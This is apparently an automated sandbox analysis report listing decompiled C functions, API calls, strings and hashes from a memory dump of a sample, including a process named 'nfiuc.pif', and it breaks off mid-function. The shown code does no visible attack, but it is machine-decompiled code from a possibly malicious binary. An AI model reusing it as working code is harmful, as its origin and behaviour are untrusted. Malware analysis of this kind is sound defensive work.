Instruction ID: dd59ee57f79e2c9f162a2390fa3b3163861255f1959ae44ff965890c3bb49ab7
Opcode Fuzzy Hash: 8ccd05a954d3ab882e85f67f5ee229afd0431bce67be2a7e2794e26c8f186ab3
Instruction Fuzzy Hash: 2741B17144021AAADFB1AF69CC40EEBBBAFBF14E5DB008465FD54B3204D7749980CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 01368A07, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E01368A07(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4) {
				void* __esi;
				intOrPtr _t18;
				char _t19;
				intOrPtr* _t23;
				signed int _t25;
				void* _t26;
				intOrPtr* _t28;
				void* _t38;
				void* _t43;
				intOrPtr _t44;
				signed int* _t48;

				_t44 = _a4;
				_t43 = __ecx;
				 *((intOrPtr*)(__ecx + 4)) = _t44;
				_t18 = E0136D82C(__edx, _t44, __eflags, 0x30);
				_a4 = _t18;
				if(_t18 == 0) {
					_t19 = 0;
					__eflags = 0;
				} else {
					_t19 = E013683B5(_t18);
				}
				 *((intOrPtr*)(_t43 + 0xc)) = _t19;
				if(_t19 == 0) {
					return _t19;
				} else {
					 *((intOrPtr*)(_t19 + 0x18)) = _t44;
					E01369184( *((intOrPtr*)(_t43 + 0xc)), L"Shell.Explorer");
					E0136931D( *((intOrPtr*)(_t43 + 0xc)), 1);
					E013692D3( *((intOrPtr*)(_t43 + 0xc)), 1);
					_t23 = E01369238( *((intOrPtr*)(_t43 + 0xc)));
					_t28 = _t23;
					if(_t28 == 0) {
						L7:
						__eflags =  *(_t43 + 0x10);
						if( *(_t43 + 0x10) != 0) {
							E01368581(_t43);
							_t25 =  *(_t43 + 0x10);
							_push(0);
							_push(0);
							_push(0);
							 *((char*)(_t43 + 0x25)) = 0;
							_t38 =  *_t25;
							_push(0);
							__eflags =  *(_t43 + 0x20);
							if( *(_t43 + 0x20) == 0) {
								_push(L"about:blank");
							} else {
								_push( *(_t43 + 0x20));
							}
							_t23 =  *((intOrPtr*)(_t38 + 0x2c))(_t25);
						}
						L12:
						return _t23;
					}
					_t10 = _t43 + 0x10; // 0x10
					_t48 = _t10;
					_t26 =  *((intOrPtr*)( *_t28))(_t28, 0x138412c, _t48);
					_t23 =  *((intOrPtr*)( *_t28 + 8))(_t28);
					if(_t26 >= 0) {
						goto L7;
					}
					 *_t48 =  *_t48 & 0x00000000;
					goto L12;
				}
			}

0x01368a08
0x01368a0d
0x01368a11
0x01368a14
0x01368a19
0x01368a20
0x01368a2b
0x01368a2b
0x01368a22
0x01368a24
0x01368a24
0x01368a2d
0x01368a32
0x01368abd
0x01368a38
0x01368a3a
0x01368a45
0x01368a4f
0x01368a59
0x01368a61
0x01368a66
0x01368a6a
0x01368a8c
0x01368a8e
0x01368a91
0x01368a95
0x01368a9a
0x01368a9d
0x01368a9e
0x01368a9f
0x01368aa0
0x01368aa3
0x01368aa5
0x01368aa6
0x01368aa9
0x01368ab0
0x01368aab
0x01368aab
0x01368aab
0x01368ab6
0x01368ab6
0x01368ab9
0x00000000
0x01368aba
0x01368a6e
0x01368a6e
0x01368a78
0x01368a7f
0x01368a84
0x00000000
0x00000000
0x01368a86
0x00000000
0x01368a86

APIs

new.LIBCMT ref: 01368A14

Strings

about:blank, xrefs: 01368AB0
Shell.Explorer, xrefs: 01368A40

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: Shell.Explorer$about:blank
API String ID: 0-874089819
Opcode ID: 23050440472ea3b4d4ce9ff9f5af2b646d664045d3f8a4f871d20d5861eac8a1
Instruction ID: 0d66fee5f3c6bbd9b44f4b015b1a775c27c5080fb3006e864fba8ef0f32e8d5f
Opcode Fuzzy Hash: 23050440472ea3b4d4ce9ff9f5af2b646d664045d3f8a4f871d20d5861eac8a1
Instruction Fuzzy Hash: CB216F7170070AAFE704EBB8C890E2AB76CBF5961CB04C699E6158B645DB70E811CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0135E862, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 20%

			E0135E862(void* __ebx, void* __edi, intOrPtr _a4, signed int _a8, char _a12, intOrPtr _a16) {
				void* __esi;
				void* __ebp;
				intOrPtr* _t11;
				intOrPtr* _t12;
				signed char _t13;
				void* _t17;
				signed char _t18;
				void* _t20;
				signed int _t22;
				signed int _t30;
				void* _t31;
				void* _t32;
				intOrPtr _t33;
				signed int _t36;

				_t32 = __edi;
				_t17 = __ebx;
				_t11 =  *0x1397358; // 0x0
				if(_t11 == 0) {
					E0135E7E3(0x1397350);
					_t11 =  *0x1397358; // 0x0
				}
				_t36 = _a8;
				_t22 = _t36 & 0xfffffff0;
				_t30 = 0 | _a16 != 0x00000000;
				if(_a12 == 0) {
					_t12 =  *0x139735c; // 0x0
					if(_t12 == 0) {
						goto L10;
					} else {
						_t13 =  *_t12(_a4, _t22, _t30);
						if(_t13 == 0) {
							_push(L"CryptUnprotectMemory failed");
							goto L6;
						}
					}
				} else {
					if(_t11 == 0) {
						L10:
						_push(_t17);
						_t13 = GetCurrentProcessId();
						_t31 = 0;
						_t18 = _t13;
						if(_t36 != 0) {
							_push(_t32);
							_t33 = _a4;
							_t20 = _t18 + 0x4b;
							do {
								_t13 = _t31 + _t20;
								 *(_t31 + _t33) =  *(_t31 + _t33) ^ _t13;
								_t31 = _t31 + 1;
							} while (_t31 < _t36);
						}
					} else {
						_t13 =  *_t11(_a4, _t22, _t30);
						if(_t13 == 0) {
							_push(L"CryptProtectMemory failed");
							L6:
							_push(0x13900e0);
							_t13 = E01356CC9(E0136E214(E01356CCE(_t22)), 0x13900e0, 0x13900e0, 2);
						}
					}
				}
				return _t13;
			}

0x0135e862
0x0135e862
0x0135e865
0x0135e86c
0x0135e873
0x0135e878
0x0135e878
0x0135e87e
0x0135e885
0x0135e88b
0x0135e892
0x0135e8c7
0x0135e8ce
0x00000000
0x0135e8d0
0x0135e8d5
0x0135e8d9
0x0135e8db
0x00000000
0x0135e8db
0x0135e8d9
0x0135e894
0x0135e896
0x0135e8e2
0x0135e8e2
0x0135e8e3
0x0135e8e9
0x0135e8eb
0x0135e8ef
0x0135e8f1
0x0135e8f2
0x0135e8f5
0x0135e8f8
0x0135e8fb
0x0135e8fe
0x0135e900
0x0135e901
0x0135e905
0x0135e898
0x0135e89d
0x0135e8a1
0x0135e8a3
0x0135e8a8
0x0135e8ad
0x0135e8c0
0x0135e8c0
0x0135e8a1
0x0135e896
0x0135e909

APIs

Part of subcall function 0135E7E3: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 0135E802
Part of subcall function 0135E7E3: GetProcAddress.KERNEL32(01397350,CryptUnprotectMemory), ref: 0135E812

GetCurrentProcessId.KERNEL32(?,?,?,0135E85C), ref: 0135E8E3

Strings

CryptUnprotectMemory failed, xrefs: 0135E8DB
CryptProtectMemory failed, xrefs: 0135E8A3

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$CurrentProcess
String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
API String ID: 2190909847-396321323
Opcode ID: 0ed895ef7ff158d8b5112edc2d03696727617870be9992955b62b8d11b1bfe58
Instruction ID: 18d0f747af6571d7260d614da8e4890a629f32991b36a0828f49ce845348fd77
Opcode Fuzzy Hash: 0ed895ef7ff158d8b5112edc2d03696727617870be9992955b62b8d11b1bfe58
Instruction Fuzzy Hash: 7B1127317002162BEB56AA3DCC45E6ABB9DDF85F5CF084039FD04DA282DB65DA4187D1

Uniqueness

Uniqueness Score: -1.00%

Function 0137A7D1, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E0137A7D1(void* __ebx, void* __ecx, void* __edx, void* __eflags) {
				signed int _t15;
				intOrPtr _t20;
				void* _t24;
				signed int _t25;
				void* _t29;
				intOrPtr _t30;
				void* _t31;
				void* _t36;

				_t28 = __edx;
				_t24 = __ecx;
				_t23 = __ebx;
				E0136E2F0(__edx, 0x138a928, 0xc);
				_t30 = 0;
				 *((intOrPtr*)(_t31 - 0x1c)) = 0;
				_t29 = E01378516(__ebx, _t24, __edx);
				_t25 =  *0x138dda0; // 0xfffffffe
				if(( *(_t29 + 0x350) & _t25) == 0 ||  *((intOrPtr*)(_t29 + 0x4c)) == 0) {
					L5:
					_t15 = E01379931(5);
					 *((intOrPtr*)(_t31 - 4)) = _t30;
					_t30 =  *((intOrPtr*)(_t29 + 0x48));
					 *((intOrPtr*)(_t31 - 0x1c)) = _t30;
					_t36 = _t30 -  *0x138dd40; // 0xe622e8
					if(_t36 != 0) {
						if(_t30 != 0) {
							asm("lock xadd [esi], eax");
							if((_t15 | 0xffffffff) == 0 && _t30 != 0x138db20) {
								E01377A50(_t30);
							}
						}
						_t20 =  *0x138dd40; // 0xe622e8
						 *((intOrPtr*)(_t29 + 0x48)) = _t20;
						_t30 =  *0x138dd40; // 0xe622e8
						 *((intOrPtr*)(_t31 - 0x1c)) = _t30;
						asm("lock inc dword [esi]");
					}
					 *((intOrPtr*)(_t31 - 4)) = 0xfffffffe;
					E0137A862();
					goto L3;
				} else {
					_t30 =  *((intOrPtr*)(_t29 + 0x48));
					L3:
					if(_t30 != 0) {
						return E0136E336(_t28);
					}
					E01377AD8(_t23, _t28, _t29, _t30);
					goto L5;
				}
			}

0x0137a7d1
0x0137a7d1
0x0137a7d1
0x0137a7d8
0x0137a7dd
0x0137a7df
0x0137a7e7
0x0137a7e9
0x0137a7f5
0x0137a808
0x0137a80a
0x0137a810
0x0137a813
0x0137a816
0x0137a819
0x0137a81f
0x0137a823
0x0137a828
0x0137a82c
0x0137a837
0x0137a83c
0x0137a82c
0x0137a83d
0x0137a842
0x0137a845
0x0137a84b
0x0137a84e
0x0137a84e
0x0137a851
0x0137a858
0x00000000
0x0137a7fc
0x0137a7fc
0x0137a7ff
0x0137a801
0x0137a872
0x0137a872
0x0137a803
0x00000000
0x0137a803

APIs

Part of subcall function 01378516: GetLastError.KERNEL32(?,013900E0,01373394,013900E0,?,?,01372E0F,?,?,013900E0), ref: 0137851A
Part of subcall function 01378516: _free.LIBCMT ref: 0137854D
Part of subcall function 01378516: SetLastError.KERNEL32(00000000,?,013900E0), ref: 0137858E
Part of subcall function 01378516: _abort.LIBCMT ref: 01378594

_abort.LIBCMT ref: 0137A803
_free.LIBCMT ref: 0137A837

Strings

", xrefs: 0137A83D, 0137A845

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast_abort_free
String ID: "
API String ID: 289325740-357034475
Opcode ID: 4e607dcd46ec270b82c3b36fa72accc7d5cc23f073c68854dd761a20fabbcb4e
Instruction ID: b23568f34db925802d8ce6c7620ff4462bedac7f007df84df8f62abc4a524473
Opcode Fuzzy Hash: 4e607dcd46ec270b82c3b36fa72accc7d5cc23f073c68854dd761a20fabbcb4e
Instruction Fuzzy Hash: 3D014036D01736ABD731EFAD8400A2DBF64FF18B29B19421AD96567684C7386A42CFC1

Uniqueness

Uniqueness Score: -1.00%

Function 013512D7, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E013512D7(void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a20, signed int _a28) {
				struct HWND__* _t20;
				struct HWND__* _t21;

				if(_a8 == 0x30) {
					E0135D6E4(0x1390078, _a4);
				} else {
					_t27 = _a8 - 0x110;
					if(_a8 == 0x110) {
						E0135D70B(0x1390078, _t27, _a4, _a20, _a28 & 1);
						if((_a28 & 0x00000001) != 0) {
							_t20 =  *0x138dfd4(_a4);
							if(_t20 != 0) {
								_t21 = GetDlgItem(_t20, 0x3021);
								if(_t21 != 0 && (_a28 & 0x00000008) != 0) {
									SetWindowTextW(_t21, 0x13822e4);
								}
							}
						}
					}
				}
				return 0;
			}

0x013512de
0x01351341
0x013512e0
0x013512e0
0x013512e7
0x013512fd
0x01351306
0x0135130b
0x01351313
0x0135131b
0x01351323
0x01351331
0x01351331
0x01351323
0x01351313
0x01351306
0x013512e7
0x01351349

APIs

Part of subcall function 0135D70B: _swprintf.LIBCMT ref: 0135D731
Part of subcall function 0135D70B: _strlen.LIBCMT ref: 0135D752
Part of subcall function 0135D70B: SetDlgItemTextW.USER32(?,0138D154,?), ref: 0135D7B2
Part of subcall function 0135D70B: GetWindowRect.USER32(?,?), ref: 0135D7EC
Part of subcall function 0135D70B: GetClientRect.USER32(?,?), ref: 0135D7F8

GetDlgItem.USER32(00000000,00003021), ref: 0135131B
SetWindowTextW.USER32(00000000,013822E4), ref: 01351331

Strings

0, xrefs: 013512DA

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: ItemRectTextWindow$Client_strlen_swprintf
String ID: 0
API String ID: 2622349952-4108050209
Opcode ID: 735cac26ea8da968806657e9dba388f709498b9e78a010eb720651f70b0f6c1d
Instruction ID: 736dcc171493ebda7858beb478894f352037ef48b0aa7b1df6c0c3ebf5acfdfd
Opcode Fuzzy Hash: 735cac26ea8da968806657e9dba388f709498b9e78a010eb720651f70b0f6c1d
Instruction Fuzzy Hash: 93F01974540348A6EFA51EA89869FA93F5DAB14B5CF048024BD4495592C7B8C198EB20

Uniqueness

Uniqueness Score: -1.00%

Function 013604BA, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E013604BA(void* __ecx, void* __ebp, void* _a4) {
				void* __esi;
				long _t2;
				void* _t6;

				_t6 = __ecx;
				_t2 = WaitForSingleObject(_a4, 0xffffffff);
				if(_t2 == 0xffffffff) {
					_push(GetLastError());
					return E01356CC9(E01356CCE(_t6, 0x13900e0, L"\nWaitForMultipleObjects error %d, GetLastError %d", 0xffffffff), 0x13900e0, 0x13900e0, 2);
				}
				return _t2;
			}

0x013604ba
0x013604c0
0x013604c9
0x013604d2
0x00000000
0x013604f1
0x013604f2

APIs

WaitForSingleObject.KERNEL32(?,000000FF,013605D9,?,?,0136064E,?,?,?,?,?,01360638), ref: 013604C0
GetLastError.KERNEL32(?,?,0136064E,?,?,?,?,?,01360638), ref: 013604CC

Part of subcall function 01356CCE: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 01356CEC

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 013604D5

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastObjectSingleWait__vswprintf_c_l
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 1091760877-2248577382
Opcode ID: f3c58adcf181cf110127e0447b7b29736c3df0e8f7e77d28298aa253549a95d5
Instruction ID: e676cf1ed91eefc748a5687b179ec1f7c4b4736b7794d01d3c67a4844bd444a1
Opcode Fuzzy Hash: f3c58adcf181cf110127e0447b7b29736c3df0e8f7e77d28298aa253549a95d5
Instruction Fuzzy Hash: 4DD05BB194513267DF1533285C0AD6F750EDF52B38F608708F935653D9CE100C55C6D5

Uniqueness

Uniqueness Score: -1.00%

Function 0135D6C1, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0135D6C1(void* __ecx) {
				struct HRSRC__* _t3;
				void* _t5;

				_t5 = __ecx;
				_t3 = FindResourceW(GetModuleHandleW(0), L"RTL", 5);
				if(_t3 != 0) {
					 *((char*)(_t5 + 0x64)) = 1;
					return _t3;
				}
				return _t3;
			}

0x0135d6c4
0x0135d6d4
0x0135d6dc
0x0135d6de
0x00000000
0x0135d6de
0x0135d6e3

APIs

GetModuleHandleW.KERNEL32(00000000,?,0135CFBE,?), ref: 0135D6C6
FindResourceW.KERNEL32(00000000,RTL,00000005,?,0135CFBE,?), ref: 0135D6D4

Strings

RTL, xrefs: 0135D6CE

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: FindHandleModuleResource
String ID: RTL
API String ID: 3537982541-834975271
Opcode ID: 199b69bc12032e4e31974da37256a898c29e2665799687bae1c3fd93af69713f
Instruction ID: 5e544c855fe522df7dbf60f715628c4794e302545f782cdb44a72e6800435fec
Opcode Fuzzy Hash: 199b69bc12032e4e31974da37256a898c29e2665799687bae1c3fd93af69713f
Instruction Fuzzy Hash: 03C0127128131166EB3027756C0DF8B2E8EAB00B2AF290448FA85DA284EAE5C442C7A0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: nfiuc.pif PID: 984 Parent PID: 4728 nfiuc.pifCOMMON

Executed Functions

Function 00EE98F0, Relevance: 33.9, APIs: 21, Instructions: 2413
COMMONCrypto

Download Yara Rule

C-Code - Quality: 55%

			E00EE98F0(signed int* __eax, void* __eflags, void* __fp0, void* _a4, intOrPtr _a8, void* _a12, char* _a16) {
				intOrPtr _v8;
				short _v10;
				short _v12;
				void* _v20;
				void* _v24;
				intOrPtr _v28;
				void _v32;
				intOrPtr _v36;
				char _v40;
				char _v52;
				void* _v56;
				signed int _v60;
				intOrPtr _v64;
				void _v68;
				char _v76;
				void* _v80;
				char _v84;
				void* _v88;
				void _v92;
				char _v100;
				void _v104;
				signed int _v108;
				void* _v112;
				void* _v116;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				char _v132;
				void _v136;
				void _v140;
				signed int _v144;
				void* _v148;
				signed int _v152;
				void* _v156;
				signed int _v160;
				char _v161;
				intOrPtr _v164;
				signed int _v168;
				signed int _v172;
				long _v176;
				WCHAR* _v180;
				signed int _v184;
				void _v188;
				void _v192;
				void* _v196;
				void* _v200;
				signed int _v204;
				signed int _v208;
				signed int _v212;
				signed int _v224;
				intOrPtr _v228;
				void** __ebx;
				void* __edi;
				void* __esi;
				long _t937;
				void* _t938;
				signed int _t939;
				signed int* _t943;
				signed int _t946;
				signed int _t949;
				void* _t956;
				void* _t958;
				void* _t967;
				signed int _t968;
				signed int _t969;
				signed int _t974;
				signed int _t978;
				void* _t979;
				void* _t983;
				intOrPtr _t984;
				intOrPtr _t985;
				intOrPtr _t997;
				intOrPtr _t1000;
				void* _t1002;
				intOrPtr _t1003;
				void* _t1009;
				intOrPtr _t1011;
				void* _t1012;
				intOrPtr _t1013;
				void* _t1015;
				intOrPtr _t1016;
				void* _t1109;
				intOrPtr _t1111;
				void* _t1112;
				signed int _t1113;
				signed int _t1114;
				void _t1116;
				void* _t1123;
				void* _t1126;
				signed int _t1128;
				void* _t1129;
				signed int _t1130;
				void* _t1131;
				void* _t1139;
				void* _t1153;
				intOrPtr _t1158;
				void* _t1159;
				void* _t1160;
				signed int _t1162;
				void* _t1163;
				signed int _t1164;
				signed int _t1165;
				void* _t1166;
				void* _t1173;
				void* _t1176;
				signed int _t1177;
				signed int _t1193;
				signed int _t1194;
				short _t1195;
				void* _t1197;
				signed int _t1200;
				void* _t1202;
				signed int _t1204;
				void* _t1207;
				void* _t1215;
				void* _t1219;
				signed int _t1220;
				void* _t1222;
				void** _t1223;
				void* _t1227;
				intOrPtr* _t1228;
				signed int _t1229;
				void* _t1231;
				void* _t1232;
				signed int _t1235;
				signed int _t1236;
				void* _t1237;
				void* _t1239;
				void* _t1240;
				intOrPtr* _t1241;
				signed int _t1242;
				void* _t1243;
				void* _t1245;
				void* _t1246;
				signed int _t1248;
				signed int _t1249;
				signed int _t1250;
				signed int* _t1252;
				void* _t1254;
				void* _t1256;
				void* _t1259;
				short* _t1265;
				void* _t1266;
				void _t1269;
				void* _t1270;
				void* _t1272;
				void* _t1276;
				void* _t1278;
				void* _t1281;
				void* _t1283;
				void* _t1284;
				void* _t1286;
				void* _t1288;
				signed int _t1290;
				signed int _t1291;
				signed int _t1295;
				signed int _t1296;
				void* _t1297;
				void* _t1298;
				intOrPtr* _t1308;
				signed int _t1310;
				signed int _t1311;
				void* _t1317;
				intOrPtr* _t1319;
				void* _t1322;
				void* _t1325;
				intOrPtr _t1330;
				signed int _t1332;
				intOrPtr _t1335;
				signed int _t1337;
				void* _t1341;
				void* _t1347;
				void _t1349;
				void* _t1350;
				signed int _t1351;
				signed int _t1352;
				long _t1354;
				void* _t1358;
				void* _t1359;
				void* _t1361;
				signed int _t1362;
				void _t1364;
				signed int _t1365;
				void* _t1369;
				void* _t1376;
				void* _t1379;
				intOrPtr* _t1382;
				void _t1385;
				intOrPtr _t1391;
				void* _t1393;
				intOrPtr _t1394;
				void* _t1396;
				void* _t1397;
				void* _t1402;
				void* _t1403;
				void** _t1406;
				signed int _t1407;
				void _t1411;
				signed int _t1412;
				long _t1413;
				void* _t1414;
				short _t1442;
				void* _t1443;
				void* _t1444;
				signed int _t1448;
				intOrPtr _t1450;
				intOrPtr _t1454;
				intOrPtr _t1455;
				void* _t1474;
				void* _t1477;
				void* _t1478;
				void* _t1485;
				void* _t1487;
				void** _t1488;
				signed int _t1493;
				signed int _t1507;
				void _t1508;
				void* _t1510;
				void* _t1511;
				void _t1513;
				void _t1519;
				void* _t1534;
				void* _t1537;
				void _t1545;
				signed int _t1549;
				intOrPtr _t1559;
				intOrPtr _t1561;
				intOrPtr _t1562;
				signed int _t1570;
				void* _t1593;
				WCHAR* _t1595;
				void _t1609;
				signed int _t1611;
				intOrPtr _t1617;
				intOrPtr _t1618;
				void* _t1652;
				signed int _t1660;
				signed int _t1664;
				intOrPtr _t1665;
				intOrPtr _t1668;
				void* _t1669;
				void* _t1672;
				void* _t1684;
				void* _t1693;
				intOrPtr _t1697;
				intOrPtr _t1710;
				intOrPtr _t1717;
				intOrPtr _t1725;
				void* _t1730;
				intOrPtr* _t1731;
				intOrPtr* _t1732;
				intOrPtr* _t1733;
				intOrPtr* _t1734;
				signed int _t1735;
				void _t1738;
				void* _t1740;
				void _t1741;
				signed int _t1746;
				signed int* _t1748;
				void* _t1750;
				signed int _t1753;
				signed int _t1754;
				long _t1755;
				signed int _t1761;
				intOrPtr _t1762;
				void* _t1763;
				void* _t1767;
				signed int _t1768;
				intOrPtr* _t1769;
				void* _t1770;
				void* _t1777;
				signed int _t1778;
				signed int _t1782;
				signed int _t1785;
				void* _t1787;
				void* _t1788;
				signed int _t1790;
				signed int _t1791;
				intOrPtr _t1796;
				signed int _t1799;
				signed int _t1803;
				void* _t1806;
				void* _t1809;
				void* _t1826;
				signed int _t1836;
				void* _t1851;

				_t1851 = __fp0;
				_t1391 = _a8;
				_t1728 = __eax;
				_t1757 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t1391 + 4)) +  *__eax * 4))))));
				_t937 = E00EF10E1( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t1391 + 4)) +  *__eax * 4)))))));
				_t1806 = (_t1803 & 0xfffffff8) - 0xd4 + 4;
				_v176 = _t937;
				_t938 = _t937 + 1;
				if(_t938 == 0) {
					_t939 = 8;
				} else {
					_t939 = (_t938 + 7 >> 3) + (_t938 + 7 >> 3) + (_t938 + 7 >> 3) + (_t938 + 7 >> 3) + (_t938 + 7 >> 3) + (_t938 + 7 >> 3) + (_t938 + 7 >> 3) + (_t938 + 7 >> 3);
					_t1836 = _t939;
				}
				_v172 = _t939;
				_push( ~(0 | _t1836 > 0x00000000) | _t939 * 0x00000002);
				_v180 = E00EF14F7(_t1728, _t1757, _t1836);
				E00EF0D80(_t941, _t1757, _v176 + _v176 + 2);
				_push(4);
				_t943 = E00EF14F7(_t1728, _t1757, _t1836);
				_t1809 = _t1806 + 0x14;
				if(_t943 == 0) {
					_t943 = 0;
				} else {
					 *_t943 = 1;
				}
				_v168 = _t943;
				if( *((intOrPtr*)(_a4 + 0x140)) == 0) {
					L288:
					E00EE2480( &_v180);
					goto L289;
				} else {
					if( *_t943 > 1) {
						 *_v168 =  *_v168 - 1;
						E00EE15E0( &_v180);
						_t949 = E00F2653C(_v176 + 1);
						_v176 = _t949;
						_push( ~(0 | __eflags > 0x00000000) | _t949 * 0x00000002);
						_t1761 = E00EF14F7(_t1728, _t949, __eflags);
						E00EF0D80(_t1761, _v184, _v180 +  &(_v180[1]));
						_t1809 = _t1809 + 0x10;
						_v184 = _t1761;
					}
					CharUpperBuffW(_v180, _v176);
					_t956 = _a4;
					_t1762 =  *((intOrPtr*)(_t956 + 0x13c));
					if(_t1762 != 0) {
						_t958 =  *((intOrPtr*)(_t956 + 0x140)) - 1;
						__eflags = _t958;
						if(_t958 < 0) {
							goto L288;
						}
						_v136 = 0;
						_v116 = _t958;
						do {
							asm("cdq");
							_v200 = _v116 + _v136 - _v136 >> 1;
							__eflags = E00EEBF10( &_v180,  *((intOrPtr*)(_t1762 + (_v116 + _v136 - _v136 >> 1) * 4)));
							if(__eflags >= 0) {
								if(__eflags <= 0) {
									__eflags = _v136 - _v116;
									if(_v136 > _v116) {
										goto L288;
									}
									_t1763 =  *(_t1762 + _v200 * 4);
									E00EE2480( &_v180);
									L17:
									_t967 = _t1763;
									if(_t967 == 0) {
										L289:
										_t946 = E00F5DC75(__eflags, _t1851, _a4, _t1391, _t1728, _a12);
										L264:
										return _t946;
									}
									_v136 =  *((intOrPtr*)(_t967 + 0x14));
									_t968 =  *_t1728;
									_v160 =  *((intOrPtr*)(_t967 + 0x18));
									_v24 =  *((intOrPtr*)(_t967 + 0x10));
									_t1609 =  *((short*)( *((intOrPtr*)( *((intOrPtr*)(_t1391 + 4)) + _t968 * 4)) + 0xa));
									_t969 = _t968 + 1;
									 *_t1728 = _t969;
									_v8 =  *((intOrPtr*)(_a4 + 0x148));
									_v196 = 0;
									_v188 = 1;
									_v184 = 0;
									_v180 = 0xf68068;
									_v176 = 0;
									_v172 = 0;
									_v168 = 0;
									_v132 = 0xf6c440;
									_v128 = 0;
									_v124 = 0;
									_v120 = 0;
									if( *((short*)( *((intOrPtr*)( *((intOrPtr*)(_t1391 + 4)) + _t969 * 4)) + 8)) != 0x47) {
										_push(_t1609);
										_push(0x6f);
										_push(_a4);
										L624:
										E00F3E724(_t1851);
										goto L625;
									} else {
										_t974 = _t969 + 1;
										_v104 = _t1609;
										_t1611 = _t974;
										_v204 = 0;
										_t1767 = 0;
										_v144 = _t1611;
										while(1) {
											 *_t1728 = _t974;
											_t1442 =  *((short*)( *((intOrPtr*)( *((intOrPtr*)(_t1391 + 4)) + _t974 * 4)) + 8));
											if(_t1442 < 0x47) {
											}
											L21:
											_t974 = _t974 + 1;
											while(1) {
												 *_t1728 = _t974;
